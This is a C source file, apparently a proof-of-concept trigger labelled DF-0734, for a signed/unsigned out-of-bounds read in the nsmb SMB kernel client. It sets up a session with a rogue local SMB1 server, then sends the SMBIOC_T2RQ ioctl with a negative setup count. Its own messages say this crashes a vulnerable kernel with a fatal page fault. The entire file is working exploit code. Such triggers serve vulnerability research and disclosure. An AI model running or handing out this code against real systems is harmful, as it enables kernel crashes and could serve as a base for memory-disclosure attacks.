/*
 * trigger.c — DF-0734 trigger: signed/unsigned OOB-read via SMBIOC_T2RQ.
 *
 * Uses the libsmb API (same library mount_smbfs uses) to establish VC+share
 * against a rogue SMB1 server, then issues SMBIOC_T2RQ with ioc_setupcnt = -1.
 *
 * Build:  cc -o trigger trigger.c -lsmb -I/usr/src/contrib/smbfs/include
 * Run:    ./trigger    (must be root; rogue_smb on 127.0.0.1:139)
 */

#include <sys/types.h>
#include <sys/ioccom.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

#include <netsmb/smb_lib.h>
#include <netsmb/smb_dev.h>

int
main(int argc, char **argv)
{
    struct smb_ctx *ctx;
    int rc;
    struct smbioc_t2rq t2rq;
    char *av[] = { "trigger", "//guest@127.0.0.1/IPC$", NULL };
    int level = 2; /* SMBL_SHARE */

    printf("[*] DF-0734: nsmb T2RQ signed/unsigned OOB read trigger\n");

    rc = smb_lib_init();
    if (rc) {
        fprintf(stderr, "smb_lib_init failed: %d\n", rc);
        return 1;
    }

    ctx = malloc(sizeof(struct smb_ctx));
    if (!ctx) { perror("malloc"); return 1; }
    memset(ctx, 0, sizeof(*ctx));

    /* smb_ctx_init(ctx, argc, argv, minlevel, maxlevel, sharetype) */
    rc = smb_ctx_init(ctx, 2, av, level, level, 0 /* SMB_ST_DISK */);
    if (rc) {
        fprintf(stderr, "smb_ctx_init failed: %d\n", rc);
        return 1;
    }
    printf("[+] smb_ctx_init ok (parsed UNC)\n");

    smb_ctx_setsrvaddr(ctx, "127.0.0.1");
    smb_ctx_setpassword(ctx, "");
    ctx->ct_flags |= SMBCF_NOPWD;

    /* Make VC private like mount_smbfs */
    ctx->ct_ssn.ioc_opt |= SMBVOPT_PRIVATE;

    printf("[*] resolving context...\n");
    rc = smb_ctx_resolve(ctx);
    if (rc) {
        fprintf(stderr, "smb_ctx_resolve failed: %d\n", rc);
        return 1;
    }
    printf("[+] context resolved\n");

    printf("[*] establishing VC + share via SMBIOC_LOOKUP...\n");
    fflush(stdout);
    rc = smb_ctx_lookup(ctx, level, 1 /* SMBLK_CREATE */);
    if (rc) {
        fprintf(stderr, "smb_ctx_lookup failed: %d (%s)\n", rc, strerror(rc));
        return 1;
    }
    printf("[+] VC + share established (fd=%d)\n", ctx->ct_fd);

    /* Issue the malicious T2RQ */
    memset(&t2rq, 0, sizeof(t2rq));
    t2rq.ioc_setup[0] = 0x0001;
    t2rq.ioc_setupcnt = -1;          /* THE BUG */
    t2rq.ioc_tparamcnt = 0;
    t2rq.ioc_tdatacnt = 0;
    t2rq.ioc_rparamcnt = 0;
    t2rq.ioc_rdatacnt = 0;

    printf("[*] issuing SMBIOC_T2RQ with ioc_setupcnt = -1 (0x%x)\n",
           (unsigned)t2rq.ioc_setupcnt);
    printf("[*] VULNERABLE kernel → fatal page fault (OOB stack read)\n");
    fflush(stdout);

    rc = ioctl(ctx->ct_fd, SMBIOC_T2RQ, &t2rq);
    printf("[!] T2RQ returned rc=%d errno=%d (%m)\n", rc, rc < 0 ? errno : 0);

    smb_ctx_done(ctx);
    return 0;
}
